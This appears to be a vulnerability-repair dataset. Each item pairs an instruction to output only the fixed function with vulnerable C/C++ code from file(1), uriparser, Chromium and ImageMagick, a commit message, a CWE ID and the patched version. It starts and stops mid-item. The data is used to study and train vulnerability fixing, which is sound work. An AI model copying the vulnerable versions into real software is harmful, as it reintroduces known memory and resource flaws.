final_delay=1UL*MagickMax(image->ticks_per_second,1L)* final_delay/mng_info->ticks_per_second; else image->start_loop=MagickTrue; /* Find final nonzero image delay */ final_image_delay=0; while (GetNextImageInList(image) != (Image *) NULL) { if (image->delay) final_image_delay=image->delay; image=GetNextImageInList(image); } if (final_delay < final_image_delay) final_delay=final_image_delay; image->delay=final_delay; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image->delay=%.20g, final_delay=%.20g",(double) image->delay, (double) final_delay); if (logging != MagickFalse) { int scene; scene=0; image=GetFirstImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Before coalesce:"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene 0 delay=%.20g",(double) image->delay); while (GetNextImageInList(image) != (Image *) NULL) { image=GetNextImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene %.20g delay=%.20g",(double) scene++,(double) image->delay); } } image=GetFirstImageInList(image); #ifdef MNG_COALESCE_LAYERS if (insert_layers) { Image *next_image, *next; size_t scene; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule()," Coalesce Images"); scene=image->scene; next_image=CoalesceImages(image,&image->exception); if (next_image == (Image *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); image=DestroyImageList(image); image=next_image; for (next=image; next != (Image *) NULL; next=next_image) { next->page.width=mng_info->mng_width; next->page.height=mng_info->mng_height; next->page.x=0; next->page.y=0; next->scene=scene++; next_image=GetNextImageInList(next); if (next_image == (Image *) NULL) break; if (next->delay == 0) { scene--; next_image->previous=GetPreviousImageInList(next); if (GetPreviousImageInList(next) == (Image *) NULL) image=next_image; else next->previous->next=next_image; next=DestroyImage(next); } } } #endif while (GetNextImageInList(image) != (Image *) NULL) image=GetNextImageInList(image); image->dispose=BackgroundDispose; if (logging != MagickFalse) { int scene; scene=0; image=GetFirstImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " After coalesce:"); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene 0 delay=%.20g dispose=%.20g",(double) image->delay, (double) image->dispose); while (GetNextImageInList(image) != (Image *) NULL) { image=GetNextImageInList(image); (void) LogMagickEvent(CoderEvent,GetMagickModule(), " scene %.20g delay=%.20g dispose=%.20g",(double) scene++, (double) image->delay,(double) image->dispose); } } if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " exit ReadOneJNGImage();"); return(image); }
167,982
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: doshn(struct magic_set *ms, int clazz, int swap, int fd, off_t off, int num, size_t size, off_t fsize, int *flags, int mach, int strtab) { Elf32_Shdr sh32; Elf64_Shdr sh64; int stripped = 1; void *nbuf; off_t noff, coff, name_off; uint64_t cap_hw1 = 0; /* SunOS 5.x hardware capabilites */ uint64_t cap_sf1 = 0; /* SunOS 5.x software capabilites */ char name[50]; if (size != xsh_sizeof) { if (file_printf(ms, ", corrupted section header size") == -1) return -1; return 0; } /* Read offset of name section to be able to read section names later */ if (pread(fd, xsh_addr, xsh_sizeof, off + size * strtab) == -1) { file_badread(ms); return -1; } name_off = xsh_offset; for ( ; num; num--) { /* Read the name of this section. */ if (pread(fd, name, sizeof(name), name_off + xsh_name) == -1) { file_badread(ms); return -1; } name[sizeof(name) - 1] = '\0'; if (strcmp(name, ".debug_info") == 0) stripped = 0; if (pread(fd, xsh_addr, xsh_sizeof, off) == -1) { file_badread(ms); return -1; } off += size; /* Things we can determine before we seek */ switch (xsh_type) { case SHT_SYMTAB: #if 0 case SHT_DYNSYM: #endif stripped = 0; break; default: if (xsh_offset > fsize) { /* Perhaps warn here */ continue; } break; } /* Things we can determine when we seek */ switch (xsh_type) { case SHT_NOTE: if ((nbuf = malloc(xsh_size)) == NULL) { file_error(ms, errno, "Cannot allocate memory" " for note"); return -1; } if (pread(fd, nbuf, xsh_size, xsh_offset) == -1) { file_badread(ms); free(nbuf); return -1; } noff = 0; for (;;) { if (noff >= (off_t)xsh_size) break; noff = donote(ms, nbuf, (size_t)noff, xsh_size, clazz, swap, 4, flags); if (noff == 0) break; } free(nbuf); break; case SHT_SUNW_cap: switch (mach) { case EM_SPARC: case EM_SPARCV9: case EM_IA_64: case EM_386: case EM_AMD64: break; default: goto skip; } if (lseek(fd, xsh_offset, SEEK_SET) == (off_t)-1) { file_badseek(ms); return -1; } coff = 0; for (;;) { Elf32_Cap cap32; Elf64_Cap cap64; char cbuf[/*CONSTCOND*/ MAX(sizeof cap32, sizeof cap64)]; if ((coff += xcap_sizeof) > (off_t)xsh_size) break; if (read(fd, cbuf, (size_t)xcap_sizeof) != (ssize_t)xcap_sizeof) { file_badread(ms); return -1; } if (cbuf[0] == 'A') { #ifdef notyet char *p = cbuf + 1; uint32_t len, tag; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (memcmp("gnu", p, 3) != 0) { if (file_printf(ms, ", unknown capability %.3s", p) == -1) return -1; break; } p += strlen(p) + 1; tag = *p++; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (tag != 1) { if (file_printf(ms, ", unknown gnu" " capability tag %d", tag) == -1) return -1; break; } #endif break; } (void)memcpy(xcap_addr, cbuf, xcap_sizeof); switch (xcap_tag) { case CA_SUNW_NULL: break; case CA_SUNW_HW_1: cap_hw1 |= xcap_val; break; case CA_SUNW_SF_1: cap_sf1 |= xcap_val; break; default: if (file_printf(ms, ", with unknown capability " "0x%" INT64_T_FORMAT "x = 0x%" INT64_T_FORMAT "x", (unsigned long long)xcap_tag, (unsigned long long)xcap_val) == -1) return -1; break; } } /*FALLTHROUGH*/ skip: default: break; } } if (file_printf(ms, ", %sstripped", stripped ? "" : "not ") == -1) return -1; if (cap_hw1) { const cap_desc_t *cdp; switch (mach) { case EM_SPARC: case EM_SPARC32PLUS: case EM_SPARCV9: cdp = cap_desc_sparc; break; case EM_386: case EM_IA_64: case EM_AMD64: cdp = cap_desc_386; break; default: cdp = NULL; break; } if (file_printf(ms, ", uses") == -1) return -1; if (cdp) { while (cdp->cd_name) { if (cap_hw1 & cdp->cd_mask) { if (file_printf(ms, " %s", cdp->cd_name) == -1) return -1; cap_hw1 &= ~cdp->cd_mask; } ++cdp; } if (cap_hw1) if (file_printf(ms, " unknown hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } else { if (file_printf(ms, " hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } } if (cap_sf1) { if (cap_sf1 & SF1_SUNW_FPUSED) { if (file_printf(ms, (cap_sf1 & SF1_SUNW_FPKNWN) ? ", uses frame pointer" : ", not known to use frame pointer") == -1) return -1; } cap_sf1 &= ~SF1_SUNW_MASK; if (cap_sf1) if (file_printf(ms, ", with unknown software capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_sf1) == -1) return -1; } return 0; } Commit Message: Stop reporting bad capabilities after the first few. CWE ID: CWE-399
doshn(struct magic_set *ms, int clazz, int swap, int fd, off_t off, int num, size_t size, off_t fsize, int *flags, int mach, int strtab) { Elf32_Shdr sh32; Elf64_Shdr sh64; int stripped = 1; size_t nbadcap = 0; void *nbuf; off_t noff, coff, name_off; uint64_t cap_hw1 = 0; /* SunOS 5.x hardware capabilites */ uint64_t cap_sf1 = 0; /* SunOS 5.x software capabilites */ char name[50]; if (size != xsh_sizeof) { if (file_printf(ms, ", corrupted section header size") == -1) return -1; return 0; } /* Read offset of name section to be able to read section names later */ if (pread(fd, xsh_addr, xsh_sizeof, off + size * strtab) == -1) { file_badread(ms); return -1; } name_off = xsh_offset; for ( ; num; num--) { /* Read the name of this section. */ if (pread(fd, name, sizeof(name), name_off + xsh_name) == -1) { file_badread(ms); return -1; } name[sizeof(name) - 1] = '\0'; if (strcmp(name, ".debug_info") == 0) stripped = 0; if (pread(fd, xsh_addr, xsh_sizeof, off) == -1) { file_badread(ms); return -1; } off += size; /* Things we can determine before we seek */ switch (xsh_type) { case SHT_SYMTAB: #if 0 case SHT_DYNSYM: #endif stripped = 0; break; default: if (xsh_offset > fsize) { /* Perhaps warn here */ continue; } break; } /* Things we can determine when we seek */ switch (xsh_type) { case SHT_NOTE: if ((nbuf = malloc(xsh_size)) == NULL) { file_error(ms, errno, "Cannot allocate memory" " for note"); return -1; } if (pread(fd, nbuf, xsh_size, xsh_offset) == -1) { file_badread(ms); free(nbuf); return -1; } noff = 0; for (;;) { if (noff >= (off_t)xsh_size) break; noff = donote(ms, nbuf, (size_t)noff, xsh_size, clazz, swap, 4, flags); if (noff == 0) break; } free(nbuf); break; case SHT_SUNW_cap: switch (mach) { case EM_SPARC: case EM_SPARCV9: case EM_IA_64: case EM_386: case EM_AMD64: break; default: goto skip; } if (nbadcap > 5) break; if (lseek(fd, xsh_offset, SEEK_SET) == (off_t)-1) { file_badseek(ms); return -1; } coff = 0; for (;;) { Elf32_Cap cap32; Elf64_Cap cap64; char cbuf[/*CONSTCOND*/ MAX(sizeof cap32, sizeof cap64)]; if ((coff += xcap_sizeof) > (off_t)xsh_size) break; if (read(fd, cbuf, (size_t)xcap_sizeof) != (ssize_t)xcap_sizeof) { file_badread(ms); return -1; } if (cbuf[0] == 'A') { #ifdef notyet char *p = cbuf + 1; uint32_t len, tag; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (memcmp("gnu", p, 3) != 0) { if (file_printf(ms, ", unknown capability %.3s", p) == -1) return -1; break; } p += strlen(p) + 1; tag = *p++; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (tag != 1) { if (file_printf(ms, ", unknown gnu" " capability tag %d", tag) == -1) return -1; break; } #endif break; } (void)memcpy(xcap_addr, cbuf, xcap_sizeof); switch (xcap_tag) { case CA_SUNW_NULL: break; case CA_SUNW_HW_1: cap_hw1 |= xcap_val; break; case CA_SUNW_SF_1: cap_sf1 |= xcap_val; break; default: if (file_printf(ms, ", with unknown capability " "0x%" INT64_T_FORMAT "x = 0x%" INT64_T_FORMAT "x", (unsigned long long)xcap_tag, (unsigned long long)xcap_val) == -1) return -1; if (nbadcap++ > 2) coff = xsh_size; break; } } /*FALLTHROUGH*/ skip: default: break; } } if (file_printf(ms, ", %sstripped", stripped ? "" : "not ") == -1) return -1; if (cap_hw1) { const cap_desc_t *cdp; switch (mach) { case EM_SPARC: case EM_SPARC32PLUS: case EM_SPARCV9: cdp = cap_desc_sparc; break; case EM_386: case EM_IA_64: case EM_AMD64: cdp = cap_desc_386; break; default: cdp = NULL; break; } if (file_printf(ms, ", uses") == -1) return -1; if (cdp) { while (cdp->cd_name) { if (cap_hw1 & cdp->cd_mask) { if (file_printf(ms, " %s", cdp->cd_name) == -1) return -1; cap_hw1 &= ~cdp->cd_mask; } ++cdp; } if (cap_hw1) if (file_printf(ms, " unknown hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } else { if (file_printf(ms, " hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } } if (cap_sf1) { if (cap_sf1 & SF1_SUNW_FPUSED) { if (file_printf(ms, (cap_sf1 & SF1_SUNW_FPKNWN) ? ", uses frame pointer" : ", not known to use frame pointer") == -1) return -1; } cap_sf1 &= ~SF1_SUNW_MASK; if (cap_sf1) if (file_printf(ms, ", with unknown software capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_sf1) == -1) return -1; } return 0; }
166,249
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: UriSuite() { TEST_ADD(UriSuite::testDistinction) TEST_ADD(UriSuite::testIpFour) TEST_ADD(UriSuite::testIpSixPass) TEST_ADD(UriSuite::testIpSixFail) TEST_ADD(UriSuite::testUri) TEST_ADD(UriSuite::testUriUserInfoHostPort1) TEST_ADD(UriSuite::testUriUserInfoHostPort2) TEST_ADD(UriSuite::testUriUserInfoHostPort22_Bug1948038) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_1) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_2) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_3) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_4) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_related_1) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_related_12) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_related_2) TEST_ADD(UriSuite::testUriUserInfoHostPort3) TEST_ADD(UriSuite::testUriUserInfoHostPort4) TEST_ADD(UriSuite::testUriUserInfoHostPort5) TEST_ADD(UriSuite::testUriUserInfoHostPort6) TEST_ADD(UriSuite::testUriHostRegname) TEST_ADD(UriSuite::testUriHostIpFour1) TEST_ADD(UriSuite::testUriHostIpFour2) TEST_ADD(UriSuite::testUriHostIpSix1) TEST_ADD(UriSuite::testUriHostIpSix2) TEST_ADD(UriSuite::testUriHostIpFuture) TEST_ADD(UriSuite::testUriHostEmpty) TEST_ADD(UriSuite::testUriComponents) TEST_ADD(UriSuite::testUriComponents_Bug20070701) TEST_ADD(UriSuite::testEscaping) TEST_ADD(UriSuite::testUnescaping) TEST_ADD(UriSuite::testTrailingSlash) TEST_ADD(UriSuite::testAddBase) TEST_ADD(UriSuite::testToString) TEST_ADD(UriSuite::testToString_Bug1950126) TEST_ADD(UriSuite::testToStringCharsRequired) TEST_ADD(UriSuite::testToStringCharsRequired) TEST_ADD(UriSuite::testNormalizeSyntaxMaskRequired) TEST_ADD(UriSuite::testNormalizeSyntax) TEST_ADD(UriSuite::testNormalizeSyntaxComponents) TEST_ADD(UriSuite::testNormalizeCrash_Bug20080224) TEST_ADD(UriSuite::testFilenameUriConversion) TEST_ADD(UriSuite::testCrash_FreeUriMembers_Bug20080116) TEST_ADD(UriSuite::testCrash_Report2418192) TEST_ADD(UriSuite::testPervertedQueryString); TEST_ADD(UriSuite::testQueryStringEndingInEqualSign_NonBug32); TEST_ADD(UriSuite::testCrash_MakeOwner_Bug20080207) TEST_ADD(UriSuite::testQueryList) TEST_ADD(UriSuite::testQueryListPair) TEST_ADD(UriSuite::testQueryDissection_Bug3590761) TEST_ADD(UriSuite::testFreeCrash_Bug20080827) TEST_ADD(UriSuite::testParseInvalid_Bug16) TEST_ADD(UriSuite::testRangeComparison) TEST_ADD(UriSuite::testRangeComparison_RemoveBaseUri_Issue19) TEST_ADD(UriSuite::testEquals) TEST_ADD(UriSuite::testHostTextTermination_Issue15) } Commit Message: UriQuery.c: Fix out-of-bounds-write in ComposeQuery and ...Ex Reported by Google Autofuzz team CWE ID: CWE-787
UriSuite() { TEST_ADD(UriSuite::testDistinction) TEST_ADD(UriSuite::testIpFour) TEST_ADD(UriSuite::testIpSixPass) TEST_ADD(UriSuite::testIpSixFail) TEST_ADD(UriSuite::testUri) TEST_ADD(UriSuite::testUriUserInfoHostPort1) TEST_ADD(UriSuite::testUriUserInfoHostPort2) TEST_ADD(UriSuite::testUriUserInfoHostPort22_Bug1948038) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_1) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_2) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_3) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_4) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_related_1) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_related_12) TEST_ADD(UriSuite::testUriUserInfoHostPort23_Bug3510198_related_2) TEST_ADD(UriSuite::testUriUserInfoHostPort3) TEST_ADD(UriSuite::testUriUserInfoHostPort4) TEST_ADD(UriSuite::testUriUserInfoHostPort5) TEST_ADD(UriSuite::testUriUserInfoHostPort6) TEST_ADD(UriSuite::testUriHostRegname) TEST_ADD(UriSuite::testUriHostIpFour1) TEST_ADD(UriSuite::testUriHostIpFour2) TEST_ADD(UriSuite::testUriHostIpSix1) TEST_ADD(UriSuite::testUriHostIpSix2) TEST_ADD(UriSuite::testUriHostIpFuture) TEST_ADD(UriSuite::testUriHostEmpty) TEST_ADD(UriSuite::testUriComponents) TEST_ADD(UriSuite::testUriComponents_Bug20070701) TEST_ADD(UriSuite::testEscaping) TEST_ADD(UriSuite::testUnescaping) TEST_ADD(UriSuite::testTrailingSlash) TEST_ADD(UriSuite::testAddBase) TEST_ADD(UriSuite::testToString) TEST_ADD(UriSuite::testToString_Bug1950126) TEST_ADD(UriSuite::testToStringCharsRequired) TEST_ADD(UriSuite::testToStringCharsRequired) TEST_ADD(UriSuite::testNormalizeSyntaxMaskRequired) TEST_ADD(UriSuite::testNormalizeSyntax) TEST_ADD(UriSuite::testNormalizeSyntaxComponents) TEST_ADD(UriSuite::testNormalizeCrash_Bug20080224) TEST_ADD(UriSuite::testFilenameUriConversion) TEST_ADD(UriSuite::testCrash_FreeUriMembers_Bug20080116) TEST_ADD(UriSuite::testCrash_Report2418192) TEST_ADD(UriSuite::testPervertedQueryString); TEST_ADD(UriSuite::testQueryStringEndingInEqualSign_NonBug32); TEST_ADD(UriSuite::testCrash_MakeOwner_Bug20080207) TEST_ADD(UriSuite::testQueryList) TEST_ADD(UriSuite::testQueryListPair) TEST_ADD(UriSuite::testQueryDissection_Bug3590761) TEST_ADD(UriSuite::testQueryCompositionMathWrite_GoogleAutofuzz113244572) TEST_ADD(UriSuite::testFreeCrash_Bug20080827) TEST_ADD(UriSuite::testParseInvalid_Bug16) TEST_ADD(UriSuite::testRangeComparison) TEST_ADD(UriSuite::testRangeComparison_RemoveBaseUri_Issue19) TEST_ADD(UriSuite::testEquals) TEST_ADD(UriSuite::testHostTextTermination_Issue15) }
168,977
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: NodeIterator::~NodeIterator() { root()->document().detachNodeIterator(this); } Commit Message: Fix detached Attr nodes interaction with NodeIterator - Don't register NodeIterator to document when attaching to Attr node. -- NodeIterator is registered to its document to receive updateForNodeRemoval notifications. -- However it wouldn't make sense on Attr nodes, as they never have children. BUG=572537 Review URL: https://codereview.chromium.org/1577213003 Cr-Commit-Position: refs/heads/master@{#369687} CWE ID:
NodeIterator::~NodeIterator() { if (!root()->isAttributeNode()) root()->document().detachNodeIterator(this); }
172,143
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: doshn(struct magic_set *ms, int clazz, int swap, int fd, off_t off, int num, size_t size, off_t fsize, int *flags, int mach, int strtab) { Elf32_Shdr sh32; Elf64_Shdr sh64; int stripped = 1; size_t nbadcap = 0; void *nbuf; off_t noff, coff, name_off; uint64_t cap_hw1 = 0; /* SunOS 5.x hardware capabilites */ uint64_t cap_sf1 = 0; /* SunOS 5.x software capabilites */ char name[50]; ssize_t namesize; if (size != xsh_sizeof) { if (file_printf(ms, ", corrupted section header size") == -1) return -1; return 0; } /* Read offset of name section to be able to read section names later */ if (pread(fd, xsh_addr, xsh_sizeof, off + size * strtab) < (ssize_t)xsh_sizeof) { file_badread(ms); return -1; } name_off = xsh_offset; for ( ; num; num--) { /* Read the name of this section. */ if ((namesize = pread(fd, name, sizeof(name) - 1, name_off + xsh_name)) == -1) { file_badread(ms); return -1; } name[namesize] = '\0'; if (strcmp(name, ".debug_info") == 0) stripped = 0; if (pread(fd, xsh_addr, xsh_sizeof, off) < (ssize_t)xsh_sizeof) { file_badread(ms); return -1; } off += size; /* Things we can determine before we seek */ switch (xsh_type) { case SHT_SYMTAB: #if 0 case SHT_DYNSYM: #endif stripped = 0; break; default: if (fsize != SIZE_UNKNOWN && xsh_offset > fsize) { /* Perhaps warn here */ continue; } break; } /* Things we can determine when we seek */ switch (xsh_type) { case SHT_NOTE: if ((nbuf = malloc(xsh_size)) == NULL) { file_error(ms, errno, "Cannot allocate memory" " for note"); return -1; } if (pread(fd, nbuf, xsh_size, xsh_offset) < (ssize_t)xsh_size) { file_badread(ms); free(nbuf); return -1; } noff = 0; for (;;) { if (noff >= (off_t)xsh_size) break; noff = donote(ms, nbuf, (size_t)noff, xsh_size, clazz, swap, 4, flags); if (noff == 0) break; } free(nbuf); break; case SHT_SUNW_cap: switch (mach) { case EM_SPARC: case EM_SPARCV9: case EM_IA_64: case EM_386: case EM_AMD64: break; default: goto skip; } if (nbadcap > 5) break; if (lseek(fd, xsh_offset, SEEK_SET) == (off_t)-1) { file_badseek(ms); return -1; } coff = 0; for (;;) { Elf32_Cap cap32; Elf64_Cap cap64; char cbuf[/*CONSTCOND*/ MAX(sizeof cap32, sizeof cap64)]; if ((coff += xcap_sizeof) > (off_t)xsh_size) break; if (read(fd, cbuf, (size_t)xcap_sizeof) != (ssize_t)xcap_sizeof) { file_badread(ms); return -1; } if (cbuf[0] == 'A') { #ifdef notyet char *p = cbuf + 1; uint32_t len, tag; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (memcmp("gnu", p, 3) != 0) { if (file_printf(ms, ", unknown capability %.3s", p) == -1) return -1; break; } p += strlen(p) + 1; tag = *p++; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (tag != 1) { if (file_printf(ms, ", unknown gnu" " capability tag %d", tag) == -1) return -1; break; } #endif break; } (void)memcpy(xcap_addr, cbuf, xcap_sizeof); switch (xcap_tag) { case CA_SUNW_NULL: break; case CA_SUNW_HW_1: cap_hw1 |= xcap_val; break; case CA_SUNW_SF_1: cap_sf1 |= xcap_val; break; default: if (file_printf(ms, ", with unknown capability " "0x%" INT64_T_FORMAT "x = 0x%" INT64_T_FORMAT "x", (unsigned long long)xcap_tag, (unsigned long long)xcap_val) == -1) return -1; if (nbadcap++ > 2) coff = xsh_size; break; } } /*FALLTHROUGH*/ skip: default: break; } } if (file_printf(ms, ", %sstripped", stripped ? "" : "not ") == -1) return -1; if (cap_hw1) { const cap_desc_t *cdp; switch (mach) { case EM_SPARC: case EM_SPARC32PLUS: case EM_SPARCV9: cdp = cap_desc_sparc; break; case EM_386: case EM_IA_64: case EM_AMD64: cdp = cap_desc_386; break; default: cdp = NULL; break; } if (file_printf(ms, ", uses") == -1) return -1; if (cdp) { while (cdp->cd_name) { if (cap_hw1 & cdp->cd_mask) { if (file_printf(ms, " %s", cdp->cd_name) == -1) return -1; cap_hw1 &= ~cdp->cd_mask; } ++cdp; } if (cap_hw1) if (file_printf(ms, " unknown hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } else { if (file_printf(ms, " hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } } if (cap_sf1) { if (cap_sf1 & SF1_SUNW_FPUSED) { if (file_printf(ms, (cap_sf1 & SF1_SUNW_FPKNWN) ? ", uses frame pointer" : ", not known to use frame pointer") == -1) return -1; } cap_sf1 &= ~SF1_SUNW_MASK; if (cap_sf1) if (file_printf(ms, ", with unknown software capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_sf1) == -1) return -1; } return 0; } Commit Message: - Add a limit to the number of ELF notes processed (Suggested by Alexander Cherepanov) - Restructure ELF note printing so that we don't print the same message multiple times on repeated notes of the same kind. CWE ID: CWE-399
doshn(struct magic_set *ms, int clazz, int swap, int fd, off_t off, int num, size_t size, off_t fsize, int mach, int strtab, int *flags, uint16_t *notecount) { Elf32_Shdr sh32; Elf64_Shdr sh64; int stripped = 1; size_t nbadcap = 0; void *nbuf; off_t noff, coff, name_off; uint64_t cap_hw1 = 0; /* SunOS 5.x hardware capabilites */ uint64_t cap_sf1 = 0; /* SunOS 5.x software capabilites */ char name[50]; ssize_t namesize; if (size != xsh_sizeof) { if (file_printf(ms, ", corrupted section header size") == -1) return -1; return 0; } /* Read offset of name section to be able to read section names later */ if (pread(fd, xsh_addr, xsh_sizeof, off + size * strtab) < (ssize_t)xsh_sizeof) { file_badread(ms); return -1; } name_off = xsh_offset; for ( ; num; num--) { /* Read the name of this section. */ if ((namesize = pread(fd, name, sizeof(name) - 1, name_off + xsh_name)) == -1) { file_badread(ms); return -1; } name[namesize] = '\0'; if (strcmp(name, ".debug_info") == 0) stripped = 0; if (pread(fd, xsh_addr, xsh_sizeof, off) < (ssize_t)xsh_sizeof) { file_badread(ms); return -1; } off += size; /* Things we can determine before we seek */ switch (xsh_type) { case SHT_SYMTAB: #if 0 case SHT_DYNSYM: #endif stripped = 0; break; default: if (fsize != SIZE_UNKNOWN && xsh_offset > fsize) { /* Perhaps warn here */ continue; } break; } /* Things we can determine when we seek */ switch (xsh_type) { case SHT_NOTE: if ((nbuf = malloc(xsh_size)) == NULL) { file_error(ms, errno, "Cannot allocate memory" " for note"); return -1; } if (pread(fd, nbuf, xsh_size, xsh_offset) < (ssize_t)xsh_size) { file_badread(ms); free(nbuf); return -1; } noff = 0; for (;;) { if (noff >= (off_t)xsh_size) break; noff = donote(ms, nbuf, (size_t)noff, xsh_size, clazz, swap, 4, flags, notecount); if (noff == 0) break; } free(nbuf); break; case SHT_SUNW_cap: switch (mach) { case EM_SPARC: case EM_SPARCV9: case EM_IA_64: case EM_386: case EM_AMD64: break; default: goto skip; } if (nbadcap > 5) break; if (lseek(fd, xsh_offset, SEEK_SET) == (off_t)-1) { file_badseek(ms); return -1; } coff = 0; for (;;) { Elf32_Cap cap32; Elf64_Cap cap64; char cbuf[/*CONSTCOND*/ MAX(sizeof cap32, sizeof cap64)]; if ((coff += xcap_sizeof) > (off_t)xsh_size) break; if (read(fd, cbuf, (size_t)xcap_sizeof) != (ssize_t)xcap_sizeof) { file_badread(ms); return -1; } if (cbuf[0] == 'A') { #ifdef notyet char *p = cbuf + 1; uint32_t len, tag; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (memcmp("gnu", p, 3) != 0) { if (file_printf(ms, ", unknown capability %.3s", p) == -1) return -1; break; } p += strlen(p) + 1; tag = *p++; memcpy(&len, p, sizeof(len)); p += 4; len = getu32(swap, len); if (tag != 1) { if (file_printf(ms, ", unknown gnu" " capability tag %d", tag) == -1) return -1; break; } #endif break; } (void)memcpy(xcap_addr, cbuf, xcap_sizeof); switch (xcap_tag) { case CA_SUNW_NULL: break; case CA_SUNW_HW_1: cap_hw1 |= xcap_val; break; case CA_SUNW_SF_1: cap_sf1 |= xcap_val; break; default: if (file_printf(ms, ", with unknown capability " "0x%" INT64_T_FORMAT "x = 0x%" INT64_T_FORMAT "x", (unsigned long long)xcap_tag, (unsigned long long)xcap_val) == -1) return -1; if (nbadcap++ > 2) coff = xsh_size; break; } } /*FALLTHROUGH*/ skip: default: break; } } if (file_printf(ms, ", %sstripped", stripped ? "" : "not ") == -1) return -1; if (cap_hw1) { const cap_desc_t *cdp; switch (mach) { case EM_SPARC: case EM_SPARC32PLUS: case EM_SPARCV9: cdp = cap_desc_sparc; break; case EM_386: case EM_IA_64: case EM_AMD64: cdp = cap_desc_386; break; default: cdp = NULL; break; } if (file_printf(ms, ", uses") == -1) return -1; if (cdp) { while (cdp->cd_name) { if (cap_hw1 & cdp->cd_mask) { if (file_printf(ms, " %s", cdp->cd_name) == -1) return -1; cap_hw1 &= ~cdp->cd_mask; } ++cdp; } if (cap_hw1) if (file_printf(ms, " unknown hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } else { if (file_printf(ms, " hardware capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_hw1) == -1) return -1; } } if (cap_sf1) { if (cap_sf1 & SF1_SUNW_FPUSED) { if (file_printf(ms, (cap_sf1 & SF1_SUNW_FPKNWN) ? ", uses frame pointer" : ", not known to use frame pointer") == -1) return -1; } cap_sf1 &= ~SF1_SUNW_MASK; if (cap_sf1) if (file_printf(ms, ", with unknown software capability 0x%" INT64_T_FORMAT "x", (unsigned long long)cap_sf1) == -1) return -1; } return 0; }
166,779
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: std::unique_ptr<HttpResponse> HandleFileRequest( const base::FilePath& server_root, const HttpRequest& request) { base::ScopedAllowBlockingForTesting allow_blocking; GURL request_url = request.GetURL(); std::string relative_path(request_url.path()); std::string post_prefix("/post/"); if (base::StartsWith(relative_path, post_prefix, base::CompareCase::SENSITIVE)) { if (request.method != METHOD_POST) return nullptr; relative_path = relative_path.substr(post_prefix.size() - 1); } RequestQuery query = ParseQuery(request_url); std::unique_ptr<BasicHttpResponse> failed_response(new BasicHttpResponse); failed_response->set_code(HTTP_NOT_FOUND); if (query.find("expected_body") != query.end()) { if (request.content.find(query["expected_body"].front()) == std::string::npos) { return std::move(failed_response); } } if (query.find("expected_headers") != query.end()) { for (const auto& header : query["expected_headers"]) { if (header.find(":") == std::string::npos) return std::move(failed_response); std::string key = header.substr(0, header.find(":")); std::string value = header.substr(header.find(":") + 1); if (request.headers.find(key) == request.headers.end() || request.headers.at(key) != value) { return std::move(failed_response); } } } DCHECK(base::StartsWith(relative_path, "/", base::CompareCase::SENSITIVE)); std::string request_path = relative_path.substr(1); base::FilePath file_path(server_root.AppendASCII(request_path)); std::string file_contents; if (!base::ReadFileToString(file_path, &file_contents)) { file_path = file_path.AppendASCII("index.html"); if (!base::ReadFileToString(file_path, &file_contents)) return nullptr; } if (request.method == METHOD_HEAD) file_contents = ""; if (query.find("replace_text") != query.end()) { for (const auto& replacement : query["replace_text"]) { if 